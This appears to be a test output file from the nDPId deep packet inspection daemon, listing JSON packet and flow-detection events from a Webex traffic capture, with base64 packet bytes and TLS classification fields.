+00410{"flow_id":26,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":404321,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgVAABAGIhpyHcqLCggAAQG7uB9iqEDJnVe\/d1AQ\/\/+vBwAA"} +00409{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":404444,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAonBpAAEAGTLsKCAABch3V1KMdAbtvG1\/wkOSgEVAQOQh\/9wAA"} +00494{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":404564,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnnBtAAEAGTHsKCAABch3V1KMdAbtvG1\/wkOSgEVAYOQgbMgAAFgMBADoBAAA2AwGrp6IiqHkBm3loHqbaZBzbVkh+xkbqhD+UPXWnBcnLxAAABAA1AP8BAAAJACMAAAAPAAEB"} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":512,"source":"webex.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":6,"flow_first_seen":1444570640284,"flow_last_seen":1444570640404,"flow_tot_l4_data_len":223,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.213.212","src_port":41757,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":27,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":404731,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgZAABAGFtByHdXUCggAAQG7ox2Q5KARbxtgL1AQ\/\/+4wAAA"} +00408{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":404851,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoYQtAAEAGkW0KCAABch3MMcncAbvjbaL\/HJJdAlAQOQhi2wAA"} +00495{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":404972,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnYQxAAEAGkS0KCAABch3MMcncAbvjbaL\/HJJdAlAYOQhAsgAAFgMBADoBAAA2AwGD780leUD\/zJ6TyDunDGCFeal9B+1RLC9bN3N7SvEEPAAABAA1AP8BAAAJACMAAAAPAAEB"} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":515,"source":"webex.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":6,"flow_first_seen":1444570640298,"flow_last_seen":1444570640404,"flow_tot_l4_data_len":223,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.204.49","src_port":51676,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":28,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":405134,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgdAABAGIHJyHcwxCggAAQG7ydwckl0C422jPlAQ\/\/+bpAAA"} +00407{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":405337,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoS5BAAEAGO5EKCAABQERpYpETAbtLyIh6tDd3h1AQOQgwTQAA"} +00494{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":405816,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnS5FAAEAGO1EKCAABQERpYpETAbtLyIh6tDd3h1AYOQiLjgAAFgMBADoBAAA2AwERAQnq4d\/gxiGfJU2bLkxxyvmp1+D227r48TmpdQ4WzgAABAA1AP8BAAAJACMAAAAPAAEB"} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":518,"source":"webex.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":6,"flow_first_seen":1444570640310,"flow_last_seen":1444570640405,"flow_tot_l4_data_len":223,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.98","src_port":37139,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":29,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":406001,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAghAABAGtRlARGliCggAAQG7kRO0N3eHS8iIuVAQ\/\/9pFgAA"} +00407{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":520,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":406122,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoc3dAAEAGE6UKCAABQERpZ6GyAbtpybCPljZPclAQOQgfqQAA"} +00494{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":406243,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnc3hAAEAGE2UKCAABQERpZ6GyAbtpybCPljZPclAYOQg1JwAAFgMBADoBAAA2AwGYvNjE9n0n5PBRt0o9HyCmeZcSM\/CYZuDVHrLRWw9j1QAABAA1AP8BAAAJACMAAAAPAAEB"} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":521,"source":"webex.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":6,"flow_first_seen":1444570640319,"flow_last_seen":1444570640406,"flow_tot_l4_data_len":223,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41394,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":30,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":406408,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAglAABAGtRNARGlnCggAAQG7obKWNk9yacmwzlAQ\/\/9YcgAA"} +00407{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":406529,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAotGpAAEAGXXcKCAABPm3geMe+AbssX3Bx06CPkFAQOQiEYgAA"} +00493{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":406648,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABntGtAAEAGXTcKCAABPm3geMe+AbssX3Bx06CPkFAYOQhVUgAAFgMBADoBAAA2AwHChCdZOEMAlD5sXipmDRVVUN8O0TYEJmE+D4b2cbQgJQAABAA1AP8BAAAJACMAAAAPAAEB"} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":524,"source":"webex.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":6,"flow_first_seen":1444570640330,"flow_last_seen":1444570640406,"flow_tot_l4_data_len":223,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51134,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":406810,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgpAABAGP9g+beB4CggAAQG7x77ToI+QLF9wsFAQ\/\/+9KwAA"} +00408{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":526,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":406931,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2ZVAAEAGOEwKCAABPm3geMe\/Abvolh2MF2nidVAQOQiEYQAA"} +00495{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":527,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":407052,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn2ZZAAEAGOAwKCAABPm3geMe\/Abvolh2MF2nidVAYOQhfdgAAFgMBADoBAAA2AwHVxA3qKVbS+aM2DodEgQ0ezLSejrbBA\/G4QcrR0TfK+wAABAA1AP8BAAAJACMAAAAPAAEB"} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":527,"source":"webex.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":6,"flow_first_seen":1444570640338,"flow_last_seen":1444570640407,"flow_tot_l4_data_len":223,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51135,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":528,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":407211,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgtAABAGP9c+beB4CggAAQG7x78XaeJ16JYdy1AQ\/\/+9KgAA"} +00407{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":407386,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGo40Khc4vUEpuRIKzAbsvtI0dAAAAAFAEAADXXQAA"} +00408{"flow_id":26,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":407504,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAofMRAAEAGd1oKCAABch3Ki7gfAbudV793YqhAyVAQOQh1\/wAA"} +00408{"flow_id":27,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":531,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":407624,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAonBxAAEAGTLkKCAABch3V1KMdAbtvG2AvkOSgEVAQOQh\/uAAA"} +00407{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":532,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":407744,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoYQ1AAEAGkWsKCAABch3MMcncAbvjbaM+HJJdAlAQOQhinAAA"} +00407{"flow_id":29,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":533,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":407863,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoS5JAAEAGO48KCAABQERpYpETAbtLyIi5tDd3h1AQOQgwDgAA"} +00408{"flow_id":34,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":534,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":407983,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoO9lAAEAGNmAKCAABUEpuRILnAbv7u\/+EBEQAfVAQOQgpkQAA"} +00407{"flow_id":35,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":408102,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAosmNAAEAGv9UKCAABUEpuRILoAbtZhnZApnmJwVAQOQgpkAAA"} +00703{"flow_id":34,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":408223,"pkt_caplen":270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":270,"pkt_l4_len":236,"pkt":"ABoRAAACABoRAAABCABFAAEAO9pAAEAGNYcKCAABUEpuRILnAbv7u\/+EBEQAfVAYOQjgzQAAFgMBANMBAADPAwFWGmYQaUf4c9qAoNyA\/Wv7T0CEUJYDhQEnkMlpU0A7GyBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgBGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00718{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":536,"source":"webex.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":4,"flow_first_seen":1444570640382,"flow_last_seen":1444570640408,"flow_tot_l4_data_len":316,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33511,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":34,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":408448,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAgxAABAGoC1QSm5ECggAAQG7gucERAB9+7wAXFAQ\/\/9hwQAA"} +00702{"flow_id":35,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":538,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":408569,"pkt_caplen":270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":270,"pkt_l4_len":236,"pkt":"ABoRAAACABoRAAABCABFAAEAsmRAAEAGvvwKCAABUEpuRILoAbtZhnZApnmJwVAYOQglNwAAFgMBANMBAADPAwFWGmYQn3y+Y635kayg0wLQlN\/9KaMadTF0LMgTLEN5tSBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgBGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00718{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":538,"source":"webex.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":4,"flow_first_seen":1444570640385,"flow_last_seen":1444570640408,"flow_tot_l4_data_len":316,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33512,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":35,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":408732,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAg1AABAGoCxQSm5ECggAAQG7guimeYnBWYZ3GFAQ\/\/9hwAAA"} +00407{"flow_id":30,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":408854,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoc3lAAEAGE6MKCAABQERpZ6GyAbtpybDOljZPclAQOQgfagAA"} +00407{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":408974,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAotGxAAEAGXXUKCAABPm3geMe+AbssX3Cw06CPkFAQOQiEIwAA"} +00408{"flow_id":32,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":409094,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2ZdAAEAGOEoKCAABPm3geMe\/Abvolh3LF2nidVAQOQiEIgAA"} +05394{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":491206,"pkt_caplen":3751,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3751,"pkt_l4_len":3717,"pkt":"ABoRAAACABoRAAABCABFAA6ZAg5AABAGp+XYOtAoCggAAQG7qamX9G2BaAuTY1AY\/\/8D1wAAFgMDAEECAAA9AwNWGmYWXEGw9CJjvdcNuzSsMlp9Orc+irG3LDezhMQ32wDALwAAFQAAAAD\/AQABAAALAAQDAAECACMAABYDAwzLCwAMxwAMxAAFRjCCBUIwggQqoAMCAQICCHWz0GAVbUuOMA0GCSqGSIb3DQEBCwUAMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMB4XDTE1MDkyOTE5MDAwN1oXDTE1MTIyODAwMDAwMFowcDELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDU1vdW50YWluIFZpZXcxEzARBgNVBAoMCkdvb2dsZSBJbmMxHzAdBgNVBAMMFiouZ29vZ2xlLWFuYWx5dGljcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC9BndDbJK8n7UlIX\/panjjh8hJC5iT0ZBb4n1fzKUGCslR7CuA61\/m5PuhHD7uChpG8m+dcIdjK+lCk4Ky\/GjTkY8xuesL9WBwMHS\/Hrat89knNWIA4R+pVzg3Mhs+X5UMRmpdBZOmr4NrSJF8Lrb62Mof9jRYV+TfZLSYQGtdCECWJyWPzvviaBYn0y\/StSRbgzKH\/OZ2PFi5kULxOFq6N2Z1rQMg1an9CA4b0071UiZ81PNNyOXn0hQAYgiG1taVb0pwcq6dkDzdkU8Mj5UQEwk7PxR0R9obitrIs4rbpf8WxzqsPYmwOc4u8iUoIs1JhHXQXOBS9Il8fv6siekJAgMBAAGjggIFMIICATAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwgdIGA1UdEQSByjCBx4IWKi5nb29nbGUtYW5hbHl0aWNzLmNvbYITYXBwLW1lYXN1cmVtZW50LmNvbYIUZ29vZ2xlLWFuYWx5dGljcy5jb22CFGdvb2dsZXRhZ21hbmFnZXIuY29tghJzZXJ2aWNlLnVyY2hpbi5jb22CGHNzbC5nb29nbGUtYW5hbHl0aWNzLmNvbYIKdXJjaGluLmNvbYIYd3d3Lmdvb2dsZS1hbmFseXRpY3MuY29tghh3d3cuZ29vZ2xldGFnbWFuYWdlci5jb20waAYIKwYBBQUHAQEEXDBaMCsGCCsGAQUFBzAChh9odHRwOi8vcGtpLmdvb2dsZS5jb20vR0lBRzIuY3J0MCsGCCsGAQUFBzABhh9odHRwOi8vY2xpZW50czEuZ29vZ2xlLmNvbS9vY3NwMB0GA1UdDgQWBBT7LQYFGFR41L0io4xkJ374xMN2JjAMBgNVHRMBAf8EAjAAMB8GA1UdIwQYMBaAFErdBhYbvPZotXb1gba7Yhq6WoEvMCEGA1UdIAQaMBgwDAYKKwYBBAHWeQIFATAIBgZngQwBAgIwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQsFAAOCAQEAQJSeiLmnd4PKpAfj7I3xzeXS1dNcG6fyiARh5Zoe0SUxjPFwo88NMrzmh0tyACdSvc8NJDQzX8TKtj83s8i19Ake7gtOnF9Tpu